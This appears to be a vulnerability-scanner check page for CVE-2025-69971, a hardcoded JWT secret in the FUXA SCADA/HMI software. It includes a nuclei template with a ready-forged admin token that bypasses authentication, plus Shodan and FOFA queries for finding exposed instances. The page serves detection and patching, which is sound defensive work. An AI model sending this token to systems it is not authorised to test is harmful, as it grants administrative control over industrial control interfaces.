FUXA <= 1.2.7 - Hardcoded JWT Secret Authentication Bypass

criticalseverity

9.8CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

FUXA v1.2.7 contains a hardcoded credentials vulnerability caused by use of a hard-coded secret key in server/api/jwt-helper.js, letting remote attackers forge admin tokens and bypass authentication, exploit requires no special conditions.

Impact

Remote attackers can bypass authentication and gain full administrative access.

Fix

Update to the latest version that removes hard-coded credentials.

How to confirm it

Send: GET /api/project
Positive when: status_code == 200 and contains(header, "application/json") and contains_all(body, "\"hmi\"", "\"server\"", "FuxaServer")

Run it with nuclei: nuclei -id CVE-2025-69971 -u <target>

The full check

id: CVE-2025-69971

info:
  name: FUXA <= 1.2.7 - Hardcoded JWT Secret Authentication Bypass
  author: trader642
  severity: critical
  description: |
    FUXA v1.2.7 contains a hardcoded credentials vulnerability caused by use of a hard-coded secret key in server/api/jwt-helper.js, letting remote attackers forge admin tokens and bypass authentication, exploit requires no special conditions.
  impact: |
    Remote attackers can bypass authentication and gain full administrative access.
  remediation: |
    Update to the latest version that removes hard-coded credentials.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-32cc-x95p-fxcg
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69971
    - https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-69971
    epss-score: 0.02174
    epss-percentile: 0.82461
    cwe-id: CWE-321
    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    fofa-query: title="FUXA"
    shodan-query: title:"FUXA"
  tags: cve,cve2025,fuxa,frangoteam,auth-bypass,hardcoded-credentials,jwt,scada,vuln,vkev

http:
  - raw:
      - |
        GET /api/project HTTP/1.1
        Host: {{Hostname}}
        x-access-token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpZCI6ICJhZG1pbiIsICJncm91cHMiOiBbLTEsIDI1NV0sICJpYXQiOiAxNzAwMDAwMDAwLCAiZXhwIjogMjAwMDAwMDAwMH0.WEOs0b8pyK8Q7IoQtN3fpc0x0KlAKMAm78oPR9zg2Cg

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"hmi\"", "\"server\"", "FuxaServer")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from